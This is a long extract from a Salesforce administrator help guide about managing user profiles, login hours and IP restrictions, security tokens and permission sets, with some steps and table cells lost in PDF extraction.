The enhanced profile user interface provides a streamlined experience for managing profiles. With it, you can easily navigate,
search, and modify settings for a profile.
You can enable the enhanced profile user interface in the User Interface settings page. Your organization can only use one
profile user interface at a time.
529
User Management
Note: You can't use the enhanced profile user interface if:
You use Microsoft Internet Explorer 6 or earlier to manage your profiles (unless you've installed the Google
Chrome Frame plug-in for Internet Explorer).
Your organization uses category groups on guest profiles used for sites.
Your organization delegates partner portal administration to portal users.
See Also:
Working in the Enhanced Profile User Interface Overview Page
App and System Settings in the Enhanced Profile User Interface
User Profiles Overview
Manage Users
In the enhanced profile user interface, the profile overview page provides an entry point for all of the settings and permissions
for a single profile. To open the profile overview page, click Your Name > Setup > Manage Users > Profiles and click the
profile you want to view.
From the profile overview page, you can:
Assigned Apps
Object Settings (tab settings, record types and page layout settings, object permissions, and field permissions)
App Permissions
Apex Class Access
Visualforce Page Access
System Permissions
Desktop Client Access
Login Hours
530
User Management
Login IP Ranges
Service Providers (if Salesforce is enabled as an identity provider)
See Also:
App and System Settings in the Enhanced Profile User Interface
Enhanced Profile User Interface Overview
In the enhanced profile user interface, administrators can easily navigate, search, and modify settings for a single profile.
Permissions and settings are organized into pages under app and system categories, which reflect the rights users need to
administer and use app and system resources.
App Settings
Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components,
data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs
that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let's say you do most of
your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather
than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and
campaign members.
In the enhanced profile user interface, the Apps section of the overview page contains settings that are directly associated with
the business processes that the apps enable. For example, customer service agents may need to manage cases, so the Manage
Cases permission is in the Call Center section of the App Permissions page. Some app settings aren't related to app permissions.
For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes
and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests. The Apps
section contains links to these pages:
Assigned Apps
Object Settings, which include:
Tab settings
Record types and page layout settings
Object permissions
Field permissions
App Permissions
Apex Class Access
Visualforce Page Access
Note: Regardless of the currently selected app, all of a user's permissions are respected. For example, although the
Import Leads permission is under the Sales category, a user can import leads even while in the Call Center app.
531
User Management
System Settings
Some system functions apply to an organization and not to any single app. For example, login hours and login IP ranges
control a user's ability to log in, regardless of which app the user accesses. Other system functions apply to all apps. For example,
the Run Reports and Manage Dashboards permissions allow managers to create and manage reports in all apps. In some
cases, such as with Modify All Data, a permission applies to all apps, but also includes non-app functions, like the ability to
download the Data Loader.
In the enhanced profile user interface, the System section of the overview page contains links to these pages:
System Permissions
Desktop Client Access
Login Hours
Login IP Ranges
Service Providers (if Salesforce is enabled as an identity provider)
See Also:
Enhanced Profile User Interface Overview
On any of the profile pages, type at least three consecutive letters of an object, tab, permission, or setting name in the Find
Settings... box. The search terms aren't case-sensitive. As you type, suggestions for results that match your search terms appear
in a list. Click an item in the list to go to its settings page.
You can search for:
Item
Example
Assigned apps
Type sales in the Find Settings box, then select Sales from the list.
Objects
Type an existing objects name. For example, lets say you have an Albums
custom object, type albu, then select Albums.
Fields
Type the name of the object that contains the field. For example, lets say
your Albums object contains a Description field. To find the Description
field for albums, type albu, select Albums, and scroll down to
Description under Field Permissions.
Tabs
532
User Management
Item
Example
The permission, object, tab, or setting you're searching for may not be available in the current organization.
The item you're searching for may not be available for the user license that's associated with the current profile. For example,
a profile with the High Volume Customer Portal license doesn't include the Modify All Data permission.
Be sure your search terms have at least three consecutive characters that match the name of the item you want to find.
Be sure the search term is spelled correctly.
Manage Users
In the enhanced profile user interface, the Assigned Apps page shows which apps are visible to users with the selected profile.
The default app appears when users log in for the first time. Every profile must have at least one visible app, except for profiles
associated with Customer Portal users because apps are not available to them.
On the Assigned Apps page in the enhanced profile user interface, you can:
533
User Management
Switch to a different settings page by clicking the down arrow next to the Assigned Apps link and selecting the page you
want
See Also:
Working in the Enhanced Profile User Interface Overview Page
In the enhanced profile user interface, the Object Settings page shows tab settings, record types and page layout settings, object
permissions, and field permissions for all objects and tabs in your organization.
On the Object Settings pages in the enhanced profile user interface, you can:
View or edit:
Tab settings
Record types and page layout assignments
Object permissions
Field permissions for an object
See Also:
Working in the Enhanced Profile User Interface Overview Page
534
User Management
Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, and Developer Editions
Manage Users
AND
Customize Application
In the enhanced profile user interface, Record Types and Page Layout Assignments settings determine the record type and
page layout assignment mappings that are used when users view records. They also determine which record types are available
when users create or edit records.
To specify record types and page layout assignments:
1.
2.
3.
4.
5.
Click Your Name > Setup > Manage Users > Profiles.
Select a profile.
In the Find Settings... box, enter the name of the object you want and select it from the list.
Click Edit.
In the Record Types and Page Layout Assignments section, make changes to the settings as needed.
Setting
Description
Record Types
can't set a record type to a record, such as during record creation. All other record
types are custom record types.
Page Layout Assignment
The page layout to use for each record type. The page layout determines the
buttons, fields, related lists, and other elements that users with this profile see
when creating records with the associated record type. Since all users can access
all record types, every record type must have a page layout assignment, even if
the record type isn't specified as an assigned record type in the profile.
Record types that are checked in this column are available when users with this
profile create records for the object. If --Master-- is selected, you can't select
any custom record types; and if any custom record types are selected, you can't
select --Master--.
The default record type to use when users with this profile create records for the
object.
The Record Types and Page Layout Assignments settings have some variations for the following objects or tabs.
535
User Management
Object or Tab
Variation
Accounts
If your organization uses person accounts, the accounts object additionally includes
Business Account Default Record Type and Person Account Default Record
Type settings, which specify the default record type to use when the profile's
users create business or person account records from converted leads.
Cases
The cases object additionally includes Case Close settings, which show the page
layout assignments to use for each record type on closed cases. That is, the same
record type may have different page layouts for open and closed cases. With this
additional setting, when users close a case, the case may have a different page
layout that exposes how it was closed.
Home
You can't specify custom record types for the home tab. You can only select a
page layout assignment for the --Master-- record type.
6. Click Save.
See Also:
Managing Record Types
Managing Page Layouts
Manage Users
App permissions control what users can do within an app. For example, The Import Leads permission allows users to import
leads in a sales app, while Manage Cases allows users to manage cases in a call center app.
On the App Permissions page in the enhanced profile user interface, you can:
536
User Management
See Also:
User Permissions
Working in the Enhanced Profile User Interface Overview Page
Working with Apex Class Access in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Manage Users
On the Apex Class Access page in the enhanced profile user interface, you can:
See Also:
Apex Class Security Overview
Apex Code Overview
Working in the Enhanced Profile User Interface Overview Page
537
User Management
Working with Visualforce Page Access in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, and Developer Editions
Manage Users
On the Visualforce Page Access page in the enhanced profile user interface, you can:
See Also:
Visualforce Page Security Overview
Visualforce Overview
Working in the Enhanced Profile User Interface Overview Page
Manage Users
System permissions control users' ability to perform tasks that apply to all appssuch as Modify All Dataor tasks that
don't apply to any appssuch as API Only User.
On the System Permissions page in the enhanced profile user interface, you can:
538
User Management
Note: Editing some permissions may automatically cause other permissions to be enabled or disabled. In some
cases, affected permissions are enabled or disabled on a separate page, so the change may not be immediately
apparent. For example, enabling the View All Data system permission automatically enables the Read object
permission for all objects.
See Also:
User Permissions
Working in the Enhanced Profile User Interface Overview Page
Working with Desktop Client Access in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, and Developer Editions
Manage Users
Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate
Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether
users are automatically notified when updates are available.
Note: To access desktop clients, users must also have the API Enabled permission.
On the Desktop Client Access page in the enhanced profile user interface, you can:
539
User Management
Switch to a different settings page by clicking the down arrow next to the Desktop Client Access name and selecting the
page you want
See Also:
Desktop Client Access Overview
Working in the Enhanced Profile User Interface Overview Page
On the Login Hours page in the enhanced profile user interface, you can:
See Also:
Setting Login Restrictions
Working in the Enhanced Profile User Interface Overview Page
Viewing and Editing Login Hours in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Manage Users
For each profile, you can specify the hours when users can log in.
540
User Management
1.
2.
3.
4.
5.
Click Your Name > Setup > Manage Users > Profiles.
Select a profile.
In the profile overview page, click Login Hours.
To change the login hours, click Edit.
Set the days and hours when users with this profile can log in to the organization.
To allow users to log in at any time, click Clear All Times. To prohibit users from using the system on a specific day, set
the start and end times to the same value.
If a user logs in before the restricted hours, the system ends the users session when the restricted hours begin.
Note: The first time login hours are set for a profile, the hours are based on the organization's Default Time Zone
as specified at Your Name > Setup > Company Profile > Company Information. After that, any changes to the
organization's Default Time Zone won't change the time zone for the profile's login hours. As a result, the login
hours are always applied at those exact times even if a user is in a different time zone or if the organization's default
time zone is changed.
Depending on whether you're viewing or editing login hours, the hours may appear differently. On the Login Hours
detail page, hours are shown in your specified time zone. On the Login Hours Edit page, they appear in the
organization's original default time zone.
For each profile, you can view and specify the IP addresses from which users can log in. When you define IP address restrictions
for a profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed.
On the IP Ranges page in the enhanced profile user interface, you can:
541
User Management
Switch to a different settings page by clicking the down arrow next to the Login IP Ranges name and selecting the page
you want
See Also:
Restricting Login IP Ranges for Your Organization
Setting Login Restrictions
Working in the Enhanced Profile User Interface Overview Page
Manage Users
For each profile, you can view and specify the IP addresses from which users can log in. When you define IP address restrictions
for a profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed. To
view and edit IP address ranges in the enhanced profile user interface:
1.
2.
3.
4.
Click Your Name > Setup > Manage Users > Profiles.
Select a profile.
In the profile overview page, click Login IP Ranges.
Use any of these methods to change login IP address ranges for the profile.
Click Add IP Ranges. Enter a valid IP address in the IP Start Address and a higher IP address in the IP End
Address field. The start and end addresses define the range of allowable IP addresses from which users can log in.
To allow logins from a single IP address, enter the same address in both fields. For example, to allow logins from only
125.12.3.0, enter 125.12.3.0 as both the start and end addresses.
To change or remove an existing IP address range, click Edit or Delete for that range.
Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address
space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is
255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes
IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or ::
to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in
sandbox organizations for the Spring '12 release.
542
User Management
Note: The mobile application bypasses IP range definitions set up for profiles. When accessing dashboards and
Visualforce pages, the mobile application initiates a secure connection to Salesforce over the mobile carrier's network,
but the mobile carrier's IP addresses might be outside of the IP ranges allowed on the user's profile.
See Also:
Restricting Login IP Ranges for Your Organization
Setting Login Restrictions
Setting Session Security
Administrator setup guide: Security Implementation Guide
Working with Service Provider Settings in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Manage Users
AND
Customize Application
An identity provider is a trusted provider that enables users to use single sign-on to access other websites. A service provider
is a website that hosts applications. If you have enabled Salesforce as an identity provider and defined one or more service
providers, you can enable access to certain service providers for individual profiles.
On the Service Providers page in the enhanced profile user interface, you can:
See Also:
About Identity Providers and Service Providers
Working in the Enhanced Profile User Interface Overview Page
543
User Management
To view a profile, click Your Name > Setup > Manage Users > Profiles, then select the profile you want.
On the profile detail page, you can:
See Also:
User Profiles Overview
Viewing and Managing Users
Overview of User Permissions and Access
Manage Users
AND
Customize Application
You can edit all settings in a custom profile. In standard profiles, you can edit all settings except name, description, object
permissions, field permissions, and user permissions.
1. Click Your Name > Setup > Manage Users > Profiles.
2. Select the profile you want to edit.
3. On the profile detail page, click Edit to change any of the following settings:
544
User Management
Note: Editing some permissions may automatically cause other permissions to be enabled or disabled. For
example, enabling View All Data automatically enables Read for all objects. Likewise, enabling Transfer
Leads automatically enables Read and Create on leads.
Tip: If enhanced profile list views are enabled for your organization, you can change permissions for multiple
profiles from the list view.
You can also view or edit the following settings from the profile detail page:
Setting
Page layouts
Record types
Login hours
Customize Application
After creating record types and including picklist values in them, add record types to user profiles and assign a default record
type for each profile. When you add a record type to a profile, users with that profile can assign that record type to records
they create or edit.
545
User Management
Note: Any user can view records having any record type, even if the record type is not associated with their profile.
A profile can be associated with several record types. For example, a user who creates opportunities for both hardware and
software sales can have both Hardware and Software record types available when creating opportunities if both record
types have been added to the users profile.
1.
2.
3.
4.
Click Your Name > Setup > Manage Users > Profiles.
Select a profile. The record types available for that profile are listed in the Record Type Settings section.
Click Edit next to the appropriate type of record.
Select a record type from the Available Record Types list and add it to the Selected Record Types list to make it available
to users with that profile.
Master is a system-generated record type that's used when a record has no custom record type associated with it. When
Master is assigned, users can't set a record type to a record, such as during record creation. All other record types are
custom record types.
From the Business Account Default Record Type drop-down list, choose a default record type for business
accounts.
From the Person Account Default Record Type, choose a default record type for person accounts.
7. Click Save.
Options in the Record Type Settings section are blank wherever no record types exist. For example, if you have two record
types for opportunities but no record types for accounts, the Edit link only displays for opportunities. In this example, the
picklist values and default value for the master are available in all accounts.
Note: If your organization uses person accounts, you can view the record type defaults for business accounts and
person accounts in the Account Record Type Settings section of the profile detail page. Also, clicking Edit in that
section is an alternative way of opening the page where you set record type defaults for accounts. For more information,
see What is a Person Account? on page 68.
See Also:
Managing Record Types
Setting Record Type Preferences
546
User Management
1.
2.
3.
4.
5.
Manage Users
Click Your Name > Setup > Manage Users > Profiles.
Select a profile.
Click View Assignment next to any tab name in the Page Layouts section.
Click Edit Assignment.
Use the table to specify the page layout for each profile. The table displays the page layout assignments for each profile. If
your organization uses record types, a matrix displays a page layout selector for each profile and record type.
When selecting page layout assignments:
Click a cell, column, or row heading to select all the table cells in that column or row.
Press SHIFT+click to select multiple adjacent table cells, columns, or rows.
Press CTRL+click to select multiple nonadjacent table cells, columns, or rows.
Click any cell and drag to select a range of cells.
Click Next or Prev to view another set of record types.
Selected page layout assignments are highlighted. Page layout assignments you change are italicized until you save your
changes.
6. If necessary, select another page layout to assign from the Page Layout To Use drop-down list and repeat the previous
step for the new page layout.
7. Click Save.
See Also:
Assigning Page Layouts
Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate
Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether
users are automatically notified when updates are available. To set permissions for Salesforce for Outlook, use the Manage
Email Client Configurations permission.
In Enterprise, Unlimited, and Developer Editions, you can set users' access to desktop client by editing their profiles. Use the
method for the profile user interface you have enabled.
547
User Management
Meaning
The respective client download page at Your Name > Setup > Desktop
Integration is hidden. Also, users can't log in from the client.
On, no updates
The respective client download page at Your Name > Setup > Desktop
Integration is hidden. Users can log in from the client but can't upgrade
it from their current version.
Users can download, log in from, and upgrade the client, but don't see
alerts when a new version is made available.
Users can download, log in from, and upgrade the client. They can see
update alerts, and can follow or ignore them.
Users can download, log in from, and upgrade the client. When a new
version is available, they can see an update alert. They can't log in from
the client until they have upgraded it.
Connect Offline is the only client available with Developer Edition. In Personal, Group, and Professional Editions, all users
have the system default On, updates w/o alerts for all clients.
Note:
Desktop client access is available only for users whose profiles have the API Enabled permission.
If users in your organization have a Connect for Outlook version earlier than 2.0 (such as version 115), and their
profile setting is Off (access denied) or On, must update w/alerts, the error Invalid Salesforce API
request may occur when they attempt to log in to Connect for Outlook. Users with Connect for Outlook 2.0 or
later will see an appropriate descriptive message.
If users can see alerts and they have logged in to Salesforce from the client in the past, an alert banner automatically appears
in the Home tab when a new version is available. Clicking the banner opens the Check for Updates page, where users can
download and run installer files. Users can also click Your Name > Setup > Desktop Integration > Check for Updates,
regardless of whether an alert has occurred.
See Also:
Administrator tip sheet: Administering Salesforce Desktop Clients
Force.com Connect for Microsoft Outlook Overview
Force.com Connect Offline Overview
Force.com Connect for Microsoft Office Overview
Force.com Connect for Lotus Notes Overview
548
User Management
Viewing and Editing Desktop Client Access in the Original Profile User Interface
Available in: Enterprise, Unlimited, and Developer Editions
Manage Users
Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate
Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether
users are automatically notified when updates are available.
Note: To access desktop clients, users must also have the API Enabled permission.
1. Click Your Name > Setup > Manage Users > Profiles.
2. Click Edit next to a profile name, and scroll to the Desktop Integration Clients section at the bottom of the page.
See Also:
Desktop Client Access Overview
Viewing and Editing Login Hours in the Original Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Manage Users
For each profile, you can specify the hours when users can log in.
1. Click Your Name > Setup > Manage Users > Profiles, and select a profile.
2. Click Edit in the Login Hours related list.
3. Set the days and hours when users with this profile can use the system.
To allow users to log in at any time, click Clear All Times. To prohibit users from using the system on a specific day, set
the start and end times to the same value.
If a user logs in before the restricted hours, the system ends the users session when the restricted hours begin.
4. Click Save.
549
User Management
Note: The first time login hours are set for a profile, the hours are based on the organization's Default Time Zone
as specified at Your Name > Setup > Company Profile > Company Information. After that, any changes to the
organization's Default Time Zone won't change the time zone for the profile's login hours. As a result, the login
hours are always applied at those exact times even if a user is in a different time zone or if the organization's default
time zone is changed.
Depending on whether you're viewing or editing login hours, the hours may appear differently. On the profile detail
page, hours are shown in your specified time zone. On the Login Hours edit page, they appear in the organization's
default time zone.
See Also:
Setting Login Restrictions
Administrator setup guide: Security Implementation Guide
Viewing and Editing Login IP Address Ranges in the Original Profile User Interface
Available in: All Editions
Manage Users
You can set the IP addresses from which users with a particular profile can log in. When you define IP address restrictions
for a profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed. To
set IP addresses on profiles:
1. The procedure you use to restrict the range of valid IP addresses on profiles depends on your Edition:
If you're using Enterprise Edition, Unlimited Edition, or Developer Edition, click Your Name > Setup > Manage
Users > Profiles, and select a profile.
For Professional Edition, Group Edition, and Personal Edition, click Your Name > Setup > Security Controls >
Session Settings.
Partner User profiles are limited to 5 IP addresses. Contact salesforce.com to increase this limit.
The mobile application bypasses IP range definitions set up for profiles. When accessing dashboards and Visualforce
pages, the mobile application initiates a secure connection to Salesforce over the mobile carrier's network, but the
mobile carrier's IP addresses might be outside of the IP ranges allowed on the user's profile.
550
User Management
4. Click Save.
Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address
space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is
255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes IP
addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or :: to
::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in sandbox
organizations for the Spring '12 release.
Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile
has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only
within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static
resources to expire from the Salesforce cache and any intermediate caches.
See Also:
Restricting Login IP Ranges for Your Organization
Setting Login Restrictions
Setting Session Security
Administrator setup guide: Security Implementation Guide
Manage Users
Assigned app settings specify the apps that users can select in the Force.com app menu.
Every profile must have at least one visible app, except profiles associated with Customer Portal users because apps are not
available to them.
To specify app visibility:
1. Click Your Name > Setup > Manage Users > Profiles.
2. Select a profile.
3. Depending on which user interface you're using, do one of the following:
4. Select one default app. The default app appears when users log in for the first time.
551
User Management
5. Select Visible for any other apps you want to make visible.
See Also:
What is an App?
To help protect your organization's data against unauthorized access, you have several options for setting login restrictions.
Login Hours
For each profile, you can set the hours when users can log in. See:
Viewing and Editing Login Hours in the Enhanced Profile User Interface on page 540
Viewing and Editing Login Hours in the Original Profile User Interface on page 549
Editing Login IP Ranges in the Enhanced Profile User Interface on page 542
Viewing and Editing Login IP Address Ranges in the Original Profile User Interface on page 550
If the user's login is from a browser that includes a Salesforce cookie, the login is allowed. The browser will have the
Salesforce cookie if the user has previously used that browser to log in to Salesforce, and has not cleared the browser
cookies.
If the user's login is from an IP address in your organization's trusted IP address list, the login is allowed.
If the user's login is from neither a trusted IP address nor a browser with a Salesforce cookie, the login is blocked.
Whenever a login is blocked or returns an API login fault, Salesforce must verify the user's identity:
552
User Management
For access via the user interface, the user is prompted to click a Send Activation Link button to send an activation email
to the address specified on the user's Salesforce record. The email instructs the user to copy and paste an activation link
into their browser to activate their computer for logging in to Salesforce. The activation link included in the email is valid
for up to 24 hours from the time the user clicked the Send Activation Link button. After 24 hours, the activation link
expires, and users must repeat the activation process to log in.
Note: A user will not be asked to activate the first time they log in to Salesforce.
For access via the API or a client, the user must add their security token to the end of their password in order to log in. A
security token is an automatically-generated key from Salesforce. For example, if a user's password is mypassword, and
their security token is XXXXXXXXXX, then the user must enter mypasswordXXXXXXXXXX to log in.
Users can obtain their security token by changing their password or resetting their security token via the Salesforce user
interface. When a user changes their password or resets their security token, Salesforce sends a new security token to the
email address on the user's Salesforce record. The security token is valid until a user resets their security token, changes
their password, or has their password reset.
Tip: We recommend that you obtain your security token using the Salesforce user interface from a trusted network
prior to attempting to access Salesforce from a new IP address.
When a user's password is changed, the user's security token is automatically reset. The user may experience a blocked
login until he or she adds the automatically-generated security token to the end of his or her password when logging in to
Salesforce via the API or a client.
Partner portal and Customer Portal users are not required to activate computers to log in.
For more information on API login faults, see the Core Data Types Used in API Calls topic in the SOAP API Developer's
Guide .
If single sign-on is enabled for your organization, API and desktop client users can't log into Salesforce unless their IP
address is included on your organization's list of trusted IP addresses or on their profile, if their profile has IP address
restrictions set. Futhermore, the single sign-on authority usually handles login lockout policies for users with the Is Single
Sign-On Enabled permission. However, if the security token is enabled for your organization, then your organization's
login lockout settings determine the number of times a user can attempt to log in with an invalid security token before
being locked out of Salesforce.
The following events count toward the number of times a user can attempt to log in with an invalid password before being
locked out of Salesforce, as defined in your organization's login lockout settings:
Each time a user is prompted to click the Send Activation Link button
Each time a user incorrectly adds their security token to the end of their password to log into the API or a client
See Also:
About Single Sign-On
Setting Password Policies
Resetting Your Security Token
Administrator setup guide: Security Implementation Guide
553
Permission Sets
Manage Users
1. Choose Your Name > Setup > Security Controls > Login Access Policies.
2. To allow administrators to log in as any user in the organization without first asking end-users to grant login access to
them, enable Administrators Can Log in as Any User. This option is only available if salesforce.com has enabled it for
your organization. To request this feature, contact salesforce.com.
3. To prevent users from granting access to a publisher (to comply with regulatory or privacy concerns, for example), click
Available to Administrators Only for that publisher.
4. Click Save.
Consider these implementation restrictions.
Users cannot grant login access to managed packages that are licensed to your entire organization. Only administrators
with the Manage Users permission enabled on their profile can grant access to these publishers.
Login access is only available for certain managed packages. If the package is not listed, it is not available for granting login
access.
See Also:
Granting Login Access
PERMISSION SETS
Permission Sets Overview
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Visualforce is not available in Database.com
A permission set is a collection of settings and permissions that give users access to various tools and functions. The settings
and permissions in permission sets are also found in profiles, but permission sets extend users' functional access without
changing their profiles. For example, to give users access to a custom object, create a permission set, enable the required
554
User Management
permissions for the object, and assign the permission set to the users. You never have to change profiles, or create a profile for
a single use case. While users can have only one profile, they can have multiple permission sets.
Permission sets include settings for:
Assigned apps
Object settings, which include:
Tab settings
Object permissions
Field permissions
App permissions
Apex class access
Visualforce page access
System permissions
Service providers (only if you've enabled Salesforce as an identity provider)
Note:
Some user licenses restrict the number of custom apps or tabs a user can access. Salesforce calculates the total
number of settings for custom tabs and assigned apps in a users assigned profile plus any assigned permission sets.
For users with a license that restricts the number of apps or tabs, you can't assign more than the allotted limit
through their assigned profile and permission sets. For example, the Force.com - One App license allows one
assigned custom app per user. If a user with this license has a profile with one assigned custom app, you cant assign
that user a permission set that enables another custom app.
In Group and Professional Editions, permission sets may be included in installed packages, where they can be
viewed and assigned to users but not edited.
See Also:
Working in a Permission Set's Overview Page
Creating Permission Sets
Assigning Permission Sets
Overview of User Permissions and Access
User permissions and access settings specify what users can do within an organization. For example, permissions determine a
user's ability to edit an object record, view the Setup menu, empty the organizational recycle bin, or reset a user's password.
Access settings determine other functions, such as access to Apex classes, app visibility, and the hours when users can log in.
Permissions and access settings are specified in user profiles and permission sets. Every user is assigned only one profile, but
can also have multiple permission sets.
555
User Management
When determining access for your users, it's a good idea to use profiles to assign the minimum permissions and access settings
for specific groups of users, then use permission sets to grant additional permissions.
Because you can assign many permission sets to users and permission sets are reusable, you can distribute access among more
logical groupings of users, regardless of their primary job function. For example, you can create a permission set that gives
read access to a custom object and assign it to a large group of users, and create another permission set that gives edit access
to the object and assign it to only a few users. You can assign these permission sets to various types of users, regardless of their
profiles.
The following table shows the types of permissions and access settings that are specified in profiles and permission sets. Some
profile settings aren't included in permission sets.
Permission or Setting Type
In Profiles?
In Permission Sets?
Assigned apps
Tab settings
Record type assignments
Page layout assignments
Object permissions
Field permissions
User permissions (app and system)
Apex class access
Visualforce page access
Service provider access (if Salesforce is
enabled as an identity provider)
Desktop client access
Login hours
Login IP ranges
See Also:
Permission Sets Overview
User Profiles Overview
Revoking Permissions and Access
556
User Management
You can use profiles and permission sets to grant access, but not to deny access. Any permission granted from either a profile
or permission set is honored. For example, if Transfer Record isn't enabled in Jane Smith's profile, but is enabled in two of
her permission sets, she can transfer records regardless of whether she owns them. To revoke a permission, you must remove
all instances of the permission from the user. You can do this with the following actionseach has possible consequences.
Action
Consequence
Disable a permission or remove an access setting in the profile The permission or access setting is disabled for all other users
and any permission sets that are assigned to the user.
assigned to the profile or permission sets.
If a permission or access setting is enabled in the user's profile, The user may lose other permissions or access settings
assign a different profile to the user.
associated with the profile or permission sets.
AND
If the permission or access setting is enabled in any permission
sets that are assigned to the user, remove the permission set
assignments from the user.
To resolve the consequence in either case, consider all possible options. For example, you can clone the assigned profile or any
assigned permission sets where the permission or access setting is enabled, disable the permission or access setting, and assign
the cloned profile or permission sets to the user. Another option is to create a base profile with the least number of permissions
and settings that represents the largest number of users possible, then create permission sets that layer additional access.
See Also:
Assigning Permission Sets
Overview of User Permissions and Access
Creating Permission Sets
557
User Management
Manage Users
You can either clone an existing permission set or create a new one. A cloned permission set starts with the same user license
and enabled permissions as the permission set it is cloned from, while a new permission set starts with no user license selected
and no permissions enabled. You can create up to 1,000 permission sets.
1. Click Your Name > Setup > Manage Users > Permission Sets.
2. Do one of the following:
See Also:
Assigning Permission Sets
Working in a Permission Set's Overview Page
Viewing Feature Licenses
558
User Management
Manage Users
To view the permission sets in your organization, click Your Name > Setup > Manage Users > Permission Sets. In the
permission sets list page, you can:
Show a filtered list of permission sets by selecting a view from the drop-down list
Create a list view or edit an existing view
Delete a list view by selecting it from the drop-down list and clicking Delete
Create or clone a permission set
Print a list view
Refresh the list view by clicking
Edit permissions directly in a list view
View or edit a permission set
If it's not assigned to any users, remove a permission set by clicking Del
See Also:
Permission Sets Overview
Assigning Permission Sets
Manage Users
You can create and edit permission set list views to show a list of permission sets with specific fields and permissions. For
example, you could create a list view of all permission sets in which Modify All Data is enabled.
1. In the Permission Sets page, click Create New View, or select a view and click Edit.
2. Enter the view name.
559
User Management
3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as Modify All Data equals
True.
a.
b.
c.
d.
4. Under Select Columns to Display, specify the settings that you want to appear as columns in the list view. You can add
up to 15 columns.
a. From the Search drop-down list, select a setting type.
b. Enter part or all of a word in the setting you want to add and click Find.
Note: If the search finds more than 500 values, no results appear. Refine your search criteria to show fewer
results.
c. To add or remove columns, select one or more column names and click the Add or Remove arrow.
d. Use the Top, Up, Down, and Bottom arrows to arrange the columns in the sequence you want.
5. Click Save, or if you're cloning an existing view, rename it and click Save As.
See Also:
Using Permission Set Lists
Editing Permission Sets from a List View
Deleting List Views
560
User Management
Manage Users
AND
Customize Application
AND
Mass Edit From Lists
You can change permissions in up to 200 permission sets directly from the list view, without accessing individual permission
sets.
Note: Use care when editing permission sets with this method. Making mass changes may have a widespread effect
on users in your organization.
1. Select or create a list view that includes the permission sets and permissions you want to edit. Editable fields display a
pencil icon ( ) when you hover over the field, while non-editable fields display a lock icon ( ).
2. To edit multiple permission sets, select the checkbox next to each one you want to edit. If you select permission sets on
multiple pages, the selections on each page are remembered.
3. Double-click the permission you want to edit. For multiple permission sets, double-click the permission in any of the
selected permission sets.
4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change
other permissions. For example, if Manage Cases and Transfer Cases are enabled in a permission set and you disable
Transfer Cases, then Manage Cases is also disabled. In this case, the dialog box lists the affected permissions.
5. To change multiple permission sets, select All n selected records (where n is the number of permission sets you selected).
6. Click Save.
If you edit multiple permission sets, only those that support the permission you are changing will change. For example, if you
use inline editing to enable Modify All Data in a permission set, but because of its user license the permission set doesn't
have Modify All Data, the permission set won't change.
If any errors occur, the error message lists each permission set and a description of the error. Click the permission set name
to open its overview page. The permission sets you've clicked appear in the error window in gray, strike-through text.
Note: To view the error console, pop-up blockers must be disabled for the Salesforce domain. To check if your browser
allows pop-up windows, click Your Name > Setup > My Personal Information > Reminders, and then click Preview
Reminder Alert.
561
User Management
Any changes you make are recorded in the setup audit trail.
See Also:
Creating and Editing Permission Set List Views
Monitoring Setup Changes
Using Permission Set Lists
To delete permission sets and edit permission set properties: Manage Users
A permission set's overview page provides an entry point for all of the permissions in a permission set. To open a permission
set overview page, click Your Name > Setup > Manage Users > Permission Sets and select the permission set you want to
view.
From the permission set overview page, you can:
Assigned apps
Object settings (tab settings, object permissions, and field permissions)
App permissions
Apex class access settings
Visualforce page access settings
System permissions
562
User Management
See Also:
Assigning Permission Sets
About App and System Settings in Permission Sets
Permission Sets Overview
In permission sets, permissions and settings are organized into app and system categories, which reflect the rights users need
to administer and use system and app resources.
App Settings
